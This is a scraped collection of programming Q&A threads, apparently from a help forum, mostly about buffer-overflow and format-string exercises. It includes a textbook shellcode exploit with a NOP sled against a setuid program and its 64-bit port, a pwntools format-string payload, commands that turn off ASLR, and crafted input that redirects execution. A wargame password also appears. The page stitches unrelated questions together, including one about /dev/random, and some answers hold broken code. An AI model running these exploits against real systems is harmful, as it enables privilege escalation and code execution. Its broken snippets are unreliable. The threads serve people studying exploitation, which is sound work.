I have an exercise in which I need to find the start and end address of a buffer (buf2). I don't have permissions to edit the code.
Here is the code:
(the password for the level2 code is fsckmelogic)
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, const char **argv) {
if (argc < 2) { printf("Fail. More Args...\n"); return 1; }
else {
setresuid(geteuid(),geteuid(),geteuid());
char buf2[4096];
char buf[16];
const char password[]="XXXXXXXXXXX";
strncpy(buf, argv[1], sizeof(buf) - 1);
if (strcmp(buf,password) != 0) {
printf("Wrong.\n");
return 1;
}
else {
strcpy(buf2,argv[2]);
printf("%s",buf2);
return 0;
}
}
}
ok, so no changing code however I'm assuming you can compile the code. Also, going to approach this from a hacker point-of-view (given the web site) and only use tools and techniques that might be available to a hacker. Finally I am making the assumption that you are working with a Linux box. So, lets compile the code like thus,
gcc level2.c -o so_test
Now we want to find out some starting addresses....so lets use ltrace (I'm hope it is installed on the system) and we get:
ltrace ./so_test XXXXXXXXXXX ababaabaabab
__libc_start_main(0x4006f0, 3, 0x7fff291bddb8, 0x400800 <unfinished ...>
geteuid() = 1000
geteuid() = 1000
geteuid() = 1000
setresuid(1000, 1000, 1000, -1) = 0
strncpy(0x7fff291bdcb0, "XXXXXXXXXXX", 15) = 0x7fff291bdcb0
strcmp("XXXXXXXXXXX","XXXXXXXXXXX") = 0
strcpy(0x7fff291bcca0, "ababaabaabab") = 0x7fff291bcca0
printf("%s", "ababaabaabab") = 12
ok...so what?
remember that strncpy returns a pointer to the destination string, and from the code
we know that the destination is buf, thus it's starting address is 0x7fff291bdcb0 (on my machine, your number will be different).
the third argument to strncpy is the number of characters to copy, which in this case is 15. From the code, we can see that the third argument of strncpy is sizeof(buf) - 1 which means that sizeof(buf) returns 16. From this we can deduce that the ending address of buf is 0x7fff291bdcb1 + 0x10 or ox7fff291bdcc1
we can also learn that the starting address of buf2 is 0x7fff291bcca0 from the results of the strcpy function call.
We can learn that the string entered by the user was 12 characters long due to the return value from the printf function call.
So now what is left is to find out the ending point of buf2. We can start throwing input at it till it blows up on us. Hint, if you do not want to type a long string of the same character, you can do the following:
ltrace ./so_test XXXXXXXXXXX `perl -e "print 'A' x 1024;"`
just change the 1024 to how many characters you want to pump into buf2. On my system, through a bit of trial and error, I've found out that the largest value that I can input is 4151, pushing in 4152 A's result in a segmentation fault (so we know that the maximum size of buf2 is going to be less than this).
Only thing left do do is figure out the length of buf2.
Hopefully this give you a start, I don't want to do your entire challenge for you :)
If you cannot modify the code, and your assignment is to get the beginning and ending ADDRESS of buf2, then isn't the only thing left is to run it with a debugger, and obtain the address from there??
The Starting Address of Buffer can be viewed using
printf("%p", &buff2);
Once you get the starting point of address then find the length of the buffer i.e.
len=strlen(buff2);
Now add the length in pointer then you get he end address of buff2 i.e.
printf("%p %p", *buff2, *buff2+strlen(buff2));
Related
Disclaimer: I believe a lot of the code I pasted is unnecessary (e.g. Functions in the notesearch program, and alterations in the exploit), but I included it for purposes of clarity. I don't want to scare anyone off with the long post, and I figured I ought to offer an explanation beforehand.
I am currently reading the book Hacking: the Art of Exploitation by Jon Erickson. The book comes with a virtual machine which is designed to ensure a constant environment for the examples to work, but I've decided to try and get through the book on my own environment to challenge my understanding of the material.
I am currently reading about stack based buffer overflows, exploiting unchecked buffers to rewrite the return address of a function, sling down a NOP sled, and executing shellcode. The program we are exploiting is as follows:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char*); // Note printing function
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char*, char*); // Search for keyword function.
void fatal(char*); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1)
fatal("in main() while opening file for reading");
char searchstring[100];
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string;
// rturns 0 at ed of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte = 0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1)
return 0;
read(fd, note_buffer, note_length);
note_buffer[note_length] = 0;
if(search_note(note_buffer, searchstring))
printf(note_buffer);
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is erached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) {
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data.
return -1; // If 4 bytes aren't read, return end of file code.
if(read(fd, &byte, 1) != 1) // Read the newline separator.
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read a single byte.
return -1;
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0)
return 1;
for(i = 0; i < strlen(note); i++) {
if(note[i] = keyword[match])
match++;
else {
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1;
else
match = 0;
}
if(match == keyword_length)
return 1;
}
return 0;
}
The vulnerability occurs on the line:
char searchstring[100];
Where the attacker is able to write past the end of this buffer and overwrite the return address. This program is accompanied by a note taker program, and it is both assumed that /var/notes exists, and that this program is SUID root in order to allow access to this directory.
The book provides the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
To take advantage of this overflow. Unfortunately this does not work on a 64 bit system because pointers are 8 bytes instead of 4, disallowing the casting of &i to an unsigned int so I changed this code to:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
uint64_t i, ret, offset=256;
char *command, *buffer;
command = (char *) malloc(400);
bzero(command, 400); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start the command buffer.
buffer = command + strlen(command); // Set the buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (uint64_t) &i - offset; // Set return address.
for(i=0; i < 376; i+=8) // Fill buffer with return address.
*((uint64_t *) buffer + i) = ret;
memset(buffer, 0x90, 200); // Build NOP sled.
memcpy(buffer+200, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
To account for this. (Note: the altered offset and initial value of i are products of my experimentation, and I know they are not correct.) I changed all the references to int to uint64_t types so that the casting of the pointer was possible without losing data. I also changed the increment value of i in the for loop to 8 so that the loaded return address would be properly spaced.
From here, I needed to determine a new value for the offset, so I ran the exploit in GDB. The address of i came out to be 0x7fffffffddf0. I stepped through the program until I was in the system call, and it seemed that the return address was pushed to the stack at address 0x7fffffffddc8, and was set to the value 0x00400660. This was pushed to the stack by register r12 at the beginning of the function, and appeared to be in the text segment of memory, so I went ahead and assumed it was the return address.
The stack pointer then was subtracted by 0x178, and I used the nexti instruction followed by x/100hw $rsp to see how the stack was changing. I needed to know how where the buffer was loaded into memory relative to the return address to determine how to align the loading of the return address, and how to determine the offset by which I guess the location of the NOP sled. I ended up getting to the end of the program without ever seeing much of a change in the memory between the return address and $rsp.
From here I figured that I could run the notesearch program in gdb to get a sense of the way the stack frame is constructed. I ran the program with the argument "AAAAAAAAAAAAAAAAAAAA" and stepped through the assembly line by line. It appeared that the buffer was loading 32 bytes above the value of $rsp, and with this information, I was able to figure out the length of the buffer. I knew that $rsp was 0x178 (376) bytes above of the return address, and I knew that the buffer began 32 bytes above $rsp. With this I figured that the exploit would need to write 344 bytes of code to overwrite the return address.
By subtracting the location of &i (0x7fffffffddf0) and the location of $rsp (0x7fffffffdc50), I was able to determine that the stack frame of the notesearch program began 416 bytes before the variable i, and that the buffer was placed 384 bytes before the variable i. I then built a 200 byte NOP sled, and put the shellcode right after this.
I then needed to determine the return address I would rewriting to hit the NOP sled and execute the shellcode. I figured that 128 bytes into a 200 byte NOP sled would be pretty central and provide decent padding for any errors. I calculated this to be at memory address 0x7fffffffdcf0, which would require an offset of 256 bytes from i to hit. I used this as the offset value, and then executed the program.
As you may have already gleaned, this approach did not work. I was greeted with:
[DEBUG] found a 7 byte note for user id 1000
-------[ end of note data ]-------
*** stack smashing detected ***: ./notesearch terminated
Aborted (core dumped)
I figured that this may have been due to misalignment of the return address when building the buffer, so I tried changing the initial value of i in the for loop to 4, then to 8, then to 12, but none of these approaches gave me a different result. I further tried changing the value of the offset to the theoretical extremities, but this did not work either.
My question is, what did I do wrong in my calculations? I suspect that the buffer was not written to the place where I think it was, because in the initial test of the program where I stepped into the system call rather than ran it independently, I did not see the buffer show up on the stack. It is also possible that I am missing something entirely about the way that a stack frame is constructed, or some other complexity in the compilation of the program.
So, what did I do wrong, and how can I alter my approach to something more generalized so that I can do right in the future?
I have a program that loops and reads from stdin with fgets. The whole read loop is located in a function and I am trying to overwrite the return address of the function with the printf vulnerability. The return address is located at 0xbffff0fc (it is 0x2a20029e) and the buffer on the stack is identified by the input AAAA (0x41414141).
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
So from my understanding I need to write 0xbffff0fc in the buffer and then I can use %x%6$n (k is an integer) to write an arbitrary value to 0xbffff0fc.
So the input would look something like this: <0xbffff0fc>%x%6$n. The problem I have is how do I write <0xbffff0fc> so that it is 0xbffff0fc on the stack. With the ASCII characters alone I cannot really do this.
Edit: added the program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '\0';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
Happy to see people ask about security question here.
I think you could take a look of pwntools.
This is a tool for writing exploit.
Here is a simple code snippet.
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
The output will be some unprintable characters plus 0xbffff0fc
▒▒0xbffff0fc
For further explanation, line variable is already on stack.
But you have to disable the ASLR protection to make your stack address fixed.
Otherwise, every time you execute your program.
Your line variable address will be different.
Disable it:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable it:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
But, I don't think your problem will be how to write 0xbffff0fc to stack.
Your problem should be how to get the variable address of line with ASLR enabled.
Here is the strategy.
Leak the ebp of stack frame then you could calculate the address of line variable.(This part is important)
Do the same thing of the previous sample exploit.
Then, use %n to rewrite return address of function.
If you have question, feel free to ask me.
So I'm doing an exercise where I want to call the function void not_called() just by inputting a buffer. Basically what I want to do is use a buffer overflow to call not_called(). I'm approaching this by using a binary exploit string then using a program hex2raw (takes hex format then turns it into the ASCII for decimal digit.) I'm then going to put that binary exploit string into a .txt file, then use a series of pipes in the unix terminal to call not_called() like so:
cat exploit.txt | ./hex2raw | ./nameofpgrm
So what I'm struggling with is finding that binary exploit string. I think what I need to do is find the location in memory where not_called is called with an objdump, but I'm not sure. Any help on what I can do? I know I'm going to have to use gdb to find it. I just don't really know where to look.
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
You want to overwrite the return address from the function echo with bytes read from stdin so that is now points to not_called entry point.
Let's use for example Mac OS/X 10.10 aka Yosemite. I simplified the code and added an extra printf to get the actual address of the function not_called:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
Let's compile and execute this code using clang:
chqrlie> clang t20.c && ./a.out
The output is quite clear:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
Using a hex editor, let's coin the input and paste it to the console: the short buffer buf aligned on 64 bits, 8 bytes below the saved copy of the stack frame pointer rbp, itself followed by the return address we want to overwrite. The input in hex is for example:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
Let's paste these 24 bytes to the console and hit enter:
0123456789012345P��^F^A^#^#^#
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
Function echo uses gets to read stdin, the 24 bytes are stored beyond the end of buf, overwriting the frame pointer rbp, the return address, and an extra 0 byte. echo then calls puts to output the string in buf. Output stops at the first "'\0'" as expected. rbp is then restored from the stack and gets a corrupt value, control is transferred to the return address. The return address was overwritten with that of function not_called, so that's what gets executed next. Indeed we see the message from function not_called and for some reason exit crashes instead of exiting the process gracefully.
I used gets on purpose so readers understand how easy it to cause buffer overflows with this function. No matter how big the buffer, input can be coined to crash the program or make it do interesting things.
Another interesting find is how Mac OS/X tries to prevent attackers from using this trick too easily: the address printed by the program varies from one execution to the next:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
The code is loaded at a different address each time, chosen randomly.
The input required to make function echo return to not_called is different each time. Try your own OS and check if it uses this trick. Try coining the appropriate input to get the job done (it depends on your compiler and your system). Have fun!
I was going to use /dev/random output as a seed for key generation for openssl, then I wrote this small program just to check what I was going to do:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#define LEN 128
void uc2hex(char* hex, unsigned char* uc, unsigned short uc_len)
{
FILE* bp=fmemopen(hex,2*uc_len+1,"w");
unsigned short i;
for(i=0;i<uc_len;i++)
{
fprintf(bp,"%02x",uc[i]);
//printf("%02x\n",uc[i]);
//fprintf(bp,"%d-",i);
}
fprintf(bp,"%c",'\0');
fclose(bp);
}
int main()
{
unsigned char buf[LEN];
char str[2*LEN+1];
int fd=open("/dev/random",O_RDONLY);
read(fd,buf,LEN);
uc2hex(str,buf,LEN);
printf("%s\n",str);
close(fd);
return 0;
}
I ran the program some one or two times and everything seemed to work fine, but then I ran it four times again in short sequence and this is the output:
[walter#eM350 ~]$ ./random
0ee08c942ddf901af1278ba8f335b5df8db7cf18e5de2a67ac200f320a7a20e84866f533667a7e66a4572b3bf83d458e6f71f325783f2e3f921868328051f8f296800352cabeaf00000000000000000001000000000000005d08400000000000c080300e00000000000000000000000010084000000000000006400000000000
[walter#eM350 ~]$ ./random
1f69a0b931c16f796bbb1345b3f58f17f74e3df600000000bb03400000000000ffffffff00000000880e648aff7f0000a88103b4d67f000000305cb4d67f000030415fb4d67f0000000000000000000001000000000000005d08400000000000c080300e00000000000000000000000010084000000000000006400000000000
[walter#eM350 ~]$ ./random
4e8a1715238644a840eb66d9ff7f00002e4e3df600000000bb03400000000000ffffffff00000000a8ec66d9ff7f0000a871a37ad97f00000020fc7ad97f00003031ff7ad97f0000000000000000000001000000000000005d08400000000000c080300e00000000000000000000000010084000000000000006400000000000
[walter#eM350 ~]$ ./random
598c57563e8951e6f0173f0cff7f00002e4e3df600000000bb03400000000000ffffffff0000000058193f0cff7f0000a8e1cbda257f0000009024db257f000030a127db257f0000000000000000000001000000000000005d08400000000000c080300e00000000000000000000000010084000000000000006400000000000
Theese seem to me everything but 128-bytes random strings, since they are mostly the same. Then, excluding the possibility that the NSA tampered with the linux kernel random-number-generator, I could only guess that this has something to do with the available entropy in my machine, which gets exhausted when I ask too many bytes in sequence. My questions are:
1) Is this guess correct?
2) Assuming 1) is correct, how do I know whether there is enough entropy to generate real random bytes sequence?
From the man page for read:
Upon successful completion, read(), readv(), and pread() return the number of bytes actually read and placed in the buffer. The system guarantees to read the number of bytes requested if the descriptor references a normal file that has that many bytes left before the end-of-file, but in no other case.
Bottom line: check the return value from read and see how many bytes you actually read - there may not have been enough entropy to generate the number of bytes you requested.
int len = read(fd, buf, LEN);
printf("read() returned %d bytes: ", len);
if (len > 0)
{
uc2hex(str, buf, len);
printf("%s\n", str);
}
Test:
$ ./a.out
read() returned 16 bytes: c3d5f6a8ee11ddc16f00a0dea4ef237a
$ ./a.out
read() returned 8 bytes: 24e23c57852a36bb
$ ./a.out
read() returned 16 bytes: 4ead04d1eedb54ee99ab1b25a41e735b
$
As other people have suggested, you need to check the return value for the number of bytes read.
If /dev/random did not have sufficent bytes available, it will have returned fewer.
However, you still use the expected length in your following calls:
uc2hex(str,buf,LEN);
printf("%s\n",str);
So, you are converting and printing uninitialised memory. I am not surprised that subsequent calls then show the same value - since if that memory hasn't been written to between calls, the value wont change.
EDIT: Better would be:
int nBytes=read(fd,buf,LEN);
uc2hex(str,buf,nBytes);
printf("%s\n",str);
I am doing some computer security research, and I am trying to learn about string format vulnerabilities. I am running a program that contains this code:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
When I feed the program the argument "%08x.%08x.%08x.%08x.%08x" (which gets read into the "data" variable), I get the output:
00000020.b7fd7560.08048b09.00000019.78383025
I understand that each hex number is popped off the stack, and the "78383025" comes from the buffer itself. So there are 4 words--16 bytes--that I have to pop off before I get to the start of my buffer.
When I give the argument `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`, the %s part prints the string located at memory address 0xbffff92a.
Now, I'd like to do this using direct parameter access. If I feed the program the argument `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`, I should expect the program to do the same thing as above. But all the program prints is the four characters at the start of the buffer. So, what gives??? Am I using the wrong syntax for DPA???
I am using Ubuntu 9.04, 32-bit by the way.
Here is some compilable code, not guaranteed to produce the same results though:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
%16$s refers to the 16-th argument after the format string, and tells printf to interpret it as a char* and display it as a string.
You seem to be using it as a means to skip 16 bytes before getting the string though, which is not exactly the same thing.
Since you want the 5-th argument, try something more like this format string :
"\x2a\xf9\xff\xbf%5$s"
Since you're using perl -e 'print "...";' to pass the data, you will have to escape the $ character. Ie. :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`